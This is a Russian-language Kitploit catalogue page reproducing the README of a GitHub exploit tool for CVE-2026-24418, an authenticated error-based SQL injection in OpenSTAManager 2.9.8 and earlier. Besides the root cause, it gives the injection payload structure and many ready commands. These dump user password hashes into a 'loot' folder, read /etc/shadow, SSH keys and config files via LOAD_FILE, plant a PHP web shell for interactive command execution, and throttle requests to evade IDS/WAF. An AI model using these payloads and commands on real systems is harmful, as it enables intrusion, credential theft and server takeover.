Skip to content
KitploitKITPLOIT
ИнструментыБлог
Log in
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/bridgeralderson/cve-2026-24418
Атаки на ПаролиАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеRed TeamingБезопасность Баз Данных

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
GitHub
bridgeralderson/cve-2026-24418

CVE-2026-24418

OpenSTAManager v2.9.8 и более ранние версии содержат критическую уязвимость Error-Based SQL Injection в обработчике массовых операций для модуля Scadenzario (График платежей).

Репозиторий
2123 месяцев назадЕщё не проверено

CVE-2026-24418

OpenSTAManager <= 2.9.8 — SQL-инъекция на основе ошибок в модуле массовых операций Scadenzario

Обзор

ПолеДетали
CVE IDCVE-2026-24418
СерьёзностьВЫСОКАЯ (8.8)
CWECWE-89: SQL-инъекция
Затронутые версииOpenSTAManager <= 2.9.8
Уязвимый параметрid_records[] (массив POST)
Уязвимая конечная точка/actions.php?id_module=18
Тип атакиSQL-инъекция на основе ошибок (EXTRACTVALUE)
АутентификацияТребуется (любая действительная учётная запись)

Детали уязвимости

OpenSTAManager v2.9.8 и более ранние версии содержат критическую SQL-инъекцию на основе ошибок в обработчике массовых операций для модуля Scadenzario (График платежей). Приложение не проверяет, что элементы массива id_records[] являются целыми числами, перед использованием их в SQL-выражении IN(), что позволяет аутентифицированным злоумышленникам внедрять произвольные SQL-команды и извлекать конфиденциальные данные через сообщения об ошибках XPATH.

Основная причина

  1. Точка входа — /actions.php получает id_records[] через POST
  2. Недостаточная очистка — array_clean() только удаляет пустые значения, НЕ проверяет типы данных
  3. Точка внедрения — /modules/scadenzario/bulk.php передаёт неочищенные значения напрямую в SQL-выражение IN()
  4. Извлечение данных — сообщения об ошибках EXTRACTVALUE/UPDATEXML раскрывают результаты запросов

Возможности

ВозможностьОписание
--infoОпределение сервера БД (версия, пользователь, hostname, ОС, пути)
--privsПеречисление привилегий MySQL (FILE, SUPER, PROCESS)
--usersПолный дамп учётных данных из zz_users с автоматическим экспортом хэшей
--dbsПеречисление всех доступных баз данных
--tablesСписок таблиц с количеством строк
--columnsСписок столбцов с типами и информацией о NULL
--dumpИзвлечение данных из любой таблицы/столбца
--sqlВыполнение произвольного SQL-запроса
--file-readЧтение файлов сервера через LOAD_FILE() (/etc/passwd, конфиги, SSH-ключи)
--file-read-hexЧтение файлов в HEX-кодировке для обхода фильтров
--webshellЗагрузка PHP-веб-шелла через INTO DUMPFILE
--rceИнтерактивное выполнение команд через загруженный веб-шелл
-o / --outputСохранение всех результатов в форматы JSON, CSV, hashcat/john
--proxyПоддержка HTTP-прокси (Burp Suite)
--delayОграничение скорости запросов для обхода IDS/WAF

Установка

git clone https://github.com/BridgerAlderson/CVE-2026-24418.git
cd CVE-2026-24418
pip install requests

Использование

Аутентификация

# Вход с учётными данными
python3 exploit.py -t http://target.com -u admin -p password --info

# Использование существующей сессионной куки
python3 exploit.py -t http://target.com -c <PHPSESSID_VALUE> --info

Разведка

# Информация о БД + привилегии + учётные данные пользователей
python3 exploit.py -t http://target.com -u admin -p secret --all

# Проверка привилегий MySQL (FILE, SUPER и т.д.)
python3 exploit.py -t http://target.com -u admin -p secret --privs

Извлечение учётных данных

# Дамп пользователей и автоматический экспорт хэшей
python3 exploit.py -t http://target.com -u admin -p secret --users -o ./loot

# Выходные файлы:
#   ./loot/users.json          - Полные данные пользователей
#   ./loot/users.csv           - CSV формат
#   ./loot/hashes_hashcat.txt  - Формат Hashcat (режим 3200)
#   ./loot/hashes_john.txt     - Формат John (user:hash)

Перечисление баз данных

# Список всех баз данных
python3 exploit.py -t http://target.com -u admin -p secret --dbs

# Список таблиц в конкретной базе данных
python3 exploit.py -t http://target.com -u admin -p secret --tables -D openstamanager

# Список столбцов таблицы
python3 exploit.py -t http://target.com -u admin -p secret --columns -T zz_users

# Дамп определённых столбцов с ограничением по строкам
python3 exploit.py -t http://target.com -u admin -p secret --dump -T zz_users -C username,password --limit 10

Чтение файлов (LFI через SQL)

# Чтение /etc/passwd
python3 exploit.py -t http://target.com -u admin -p secret --file-read /etc/passwd

# Чтение конфигурации приложения (учётные данные БД)
python3 exploit.py -t http://target.com -u admin -p secret --file-read /var/www/html/openstamanager/config.inc.php

# Чтение SSH-ключей
python3 exploit.py -t http://target.com -u admin -p secret --file-read /home/user/.ssh/id_rsa

# HEX режим (обход фильтров символов)
python3 exploit.py -t http://target.com -u admin -p secret --file-read-hex /etc/shadow

Удалённое выполнение кода

# Загрузка веб-шелла (автоматическое определение webroot)
python3 exploit.py -t http://target.com -u admin -p secret --webshell

# Загрузка веб-шелла с указанием webroot
python3 exploit.py -t http://target.com -u admin -p secret --webshell --webroot /var/www/html

# Интерактивная сессия оболочки
python3 exploit.py -t http://target.com -u admin -p secret --rce

# RCE автоматически загрузит веб-шелл, если он отсутствует

Вывод и отчёты

# Сохранить всё в директорию
python3 exploit.py -t http://target.com -u admin -p secret --all -o ./loot

# Сгенерированные файлы:
#   db_info.json, privileges.json, users.json, users.csv,
#   hashes_hashcat.txt, hashes_john.txt

Сетевые опции

# Через прокси Burp Suite
python3 exploit.py -t http://target.com -u admin -p secret --users --proxy http://127.0.0.1:8080

# С задержкой запросов (2 секунды между запросами)
python3 exploit.py -t http://target.com -u admin -p secret --users --delay 2

# Пропуск проверки SSL
python3 exploit.py -t https://target.com -u admin -p secret --info -k

Полный справочник опций

Цель:
  -t, --target           Базовый URL цели

Аутентификация:
  -u, --user             Имя пользователя для входа
  -p, --password         Пароль для входа
  -c, --cookie           Существующее значение PHPSESSID

Перечисление:
  -D, --database         Имя целевой базы данных
  -T, --table            Имя целевой таблицы
  -C, --columns-list     Столбцы для дампа (через запятую)
  --limit                Ограничение количества строк

Действия:
  --info                 Информация о сервере БД
  --users                Дамп учётных данных zz_users
  --dbs                  Перечисление баз данных
  --tables               Список таблиц
  --columns              Список столбцов (требуется -T)
  --dump                 Дамп данных (требуется -T и -C)
  --sql QUERY            Произвольный SQL-запрос
  --all                  Выполнить --info + --privs + --users
  --privs                Проверка привилегий MySQL

Операции с файлами:
  --file-read PATH       Чтение файла через LOAD_FILE()
  --file-read-hex PATH   Чтение файла через HEX-кодировку

Удалённое выполнение кода:
  --webshell             Загрузить PHP-веб-шелл
  --webroot PATH         Путь webroot для загрузки шелла
  --rce                  Интерактивное выполнение команд

Вывод:
  -o, --output DIR       Сохранить результаты в директорию

Сеть:
  -m, --module-id        ID модуля (по умолчанию: 18)
  --proxy                URL HTTP-прокси
  -k, --no-ssl-verify    Отключить проверку SSL
  --delay                Задержка запросов в секундах

Технические детали

Структура полезной нагрузки

id_records[]=-999) AND EXTRACTVALUE(1,CONCAT(0x7e,(<SQL_QUERY>)))#

Ограничение символов EXTRACTVALUE

MySQL EXTRACTVALUE() возвращает максимум ~32 символа через ошибки XPATH. Инструмент автоматически разбивает длинные результаты с помощью SUBSTRING():

SUBSTRING((<query>), 1, 31)    -- Часть 1
SUBSTRING((<query>), 32, 31)   -- Часть 2
...

Механизм загрузки веб-шелла

Скачать инструмент